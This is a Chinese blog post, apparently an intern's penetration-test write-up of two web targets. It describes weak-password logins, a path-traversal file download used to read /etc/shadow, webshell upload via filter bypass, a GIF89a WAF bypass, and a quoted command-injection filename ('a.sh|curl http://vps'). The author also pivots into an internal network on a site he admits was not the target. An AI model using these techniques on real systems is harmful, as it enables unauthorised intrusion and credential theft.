實習時項目案例分享


案例是在最近項目中遇到的倆個站,挺有意思的,所以分享出來。第一個站getshell后,內網簡單的看了下,發現不是目標就沒深入。

第一個站

1、弱口令
弱口令:admin admin進入網站后台
2、任意文件下載
在系統配置備份模塊發現http://xxx.xxx.xxx.xxx/DownloadServlet?fileName=xxx這樣的鏈接。
Alt text
嘗試讀取/etc/passwd文件,發現是linux系統
Alt text
讀取/etc/shadow文件,能讀取,猜測web服務是root權限,拿到root口令去破解,跑了一下午結果也沒出來,放棄這條路。
Alt text
3、找網站根目錄
讀取了ftp的密碼和quagga服務的密碼,ftp因為沒有寫權限(放棄)。Quagga連接上去只能看下路由信息。只能讀網站源碼審計一波。讀取/root/.bash_history發現失敗,可能是管理員刪除了。
讀取/etc/rc.local
Alt text
文件挨個下載看一遍發現讀取到/usr/local/ac/bin/preload這個文件時,打開發現/etc/ac_preload.sh的腳本
Alt text
腳本中發現tomcat安裝路徑。
Alt text
讀取server.xml發現web目錄。
Alt text
4、審計源碼找上傳
讀取web.xml
Alt text
讀取structs-config.xml,找到倆處上傳點,這倆寫的都有問題,只看SwuploadAction這一塊代碼。
Alt text
下載SwuploadAction代碼。http://xxx.xxx.xxx.xxx/DownloadServlet?fileName=../../../usr/local/ac/web/ac-web/WEB-INF/classes/com/gbcom/business.action.sysoper.SwUploadAction用jd-gui反編譯。通過代碼發現上傳代碼並沒有過濾,找到上傳路徑。后台頁面找到上傳點,由於后台前端上傳組件限制后綴,直接通過burp繞過。最終getshell。
Alt text
仔細看上圖199行,開始以為存在命令注入。后來文件名嘗試注入a.sh|curl http://vps發現命令執行不了。查文檔發現下面這樣寫才能注入命令

java.lang.Runtime.getRuntime().exec(new String[]{ "cmd", "/c", "calc|注入的命令"});

后來,掛上代理打內網。發現內網好多路由交換設備,默認admin/admin都能登陸。發現自己搞的站和目標不一致,內網就沒在深入。

第二個站

后台地址直接出來,弱口令失敗。
Alt text
右鍵源碼發現
Alt text
后台找到上傳點,嘗試上傳繞過。開始url請求的filename沒有參數。發現加上參數能直接寫入jsp,修改post請求體的filename,直接就被waf攔截。最后通過GIF89a文件頭繞過。
Alt text

最后總結下:

實戰中需要黑白盒一起搞,細心很重要。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM